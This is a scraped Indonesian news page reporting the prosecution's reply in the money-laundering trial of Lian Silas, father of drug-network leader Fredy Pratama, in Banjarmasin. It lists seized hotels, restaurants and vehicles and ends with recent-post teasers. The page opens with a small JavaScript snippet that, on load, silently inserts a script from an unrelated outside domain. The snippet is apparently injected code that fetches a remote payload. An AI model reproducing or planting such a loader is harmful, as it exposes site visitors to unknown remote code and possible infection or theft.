(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kasus Cuci Uang Narkoba Jaringan Fredy Pratama, JPU Minta Pembelaan Lian Silas Ditolak


KANALKALIMANTAN.COM, BANJARMASIN – Perkara Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy Pratama kembali bergulir di Pengadilan Tipikor Banjarmasin, Selasa (16/6/2024) siang.

Setelah kesempatan penasehat hukum Lian Silas menyampaikan pembelaan, giliran tim Jaksa Penuntut Umum (JPU) menyampaikan tanggapan atau replik atas pembelaan penasehat hukum terdakwa.

Replik yang disampaikan jaksa penuntut umum tetap pada tuntutan menyatakan Lian Silas bersalah melakukan tindak pidana pencucian uang narkotika yang dijalankan anaknya, Fredy Pratama alias Miming.

Jaksa penuntut umum yang melakukan penuntutan, Wayan memohon majelis hakim Pengadilan Negeri Banjarmasin menolak seluruh pembelaan penasehat hukum terdakwa Lian Silas.

Baca juga: Pipa Bocor di Jalan Pramuka, Air Kembali Seret di Banjarmasin Barat dan Selatan

“Penuntut umum memohon agar majelis hakim yang mengadili perkara ini agar menetapkan pembelaan penasehat hukum terdakwa ditolak,” kata Wayan.

Masih lanjut Wayan, pihaknya memohon agar majelis hakim menerima tuntutan jaksa penuntut umum dan memutus perkara Lian Silas sebagaimana tuntutan JPU beberapa waktu lalu.

Sebagaimana diketahui Lian Silas sebelumnya dituntut bersalah oleh JPU dengan pidana penjara 2 tahun 6 bulan dan denda Rp2 miliar subsidair 6 bulan kurungan.

Tuntutan yang dibacakan JPU pada Selasa (26/3/2024) lalu itu juga menuntut seluruh aset atau harta yang disita dari perkara TPPU narkotika Fredy Pratama dengan terdakwa Lian Silas dirampas untuk negara.

Baca juga: Riwayat Singkat Syekh Muhammad Arsyad Al-Banjari: 30 Tahun Menuntut Ilmu di Mekkah Madinah

JPU menyatakan ayah dari buronan narkoba kelas kakap itu terbukti melakukan pencucian uang dari bisnis narkotika yang dijalankan Fredy Pratama alias Miming. Sebagaimana yang terungkap dari fakta-fakta di persidangan.

Lian Silas dianggap terbukti melanggar pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang, sebagaimana dakwaan primair JPU.

Sementara diketahui ada 32 aset yang disita penyidik dalam perkara Lian Silas. Aset berupa tanah dan bangunan itu tersebar di beberapa daerah mulai dari Kalimantan Selatan, Kalimantan Tengah, hingga di luar Kalimantan.

Di Banjarmasin misalnya salah satu aset yang disita yaitu restoran Shanghai Palace, Hotel Mentaya Inn, Beluga Cafe yang masih satu gedung di Jalan Djok Mentaya.

Baca juga: Cek Kehadiran ASN Pemkab HSU di Hari Pertama Masuk Kerja

Kemudian di Kalimantan Tengah ada Hotel Armani Muara Teweh yang juga disita. Termasuk delapan unit kendaraan roda dua dan roda empat yang nilainya miliaran.

Usai pembacaan tanggapan JPU, majelis hakim yang dipimpin Jamser Simanjuntak menetapkan sidang berikutnya digelar dengan agenda duplik atau jawaban penasihat hukum atas replik penuntut umum. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.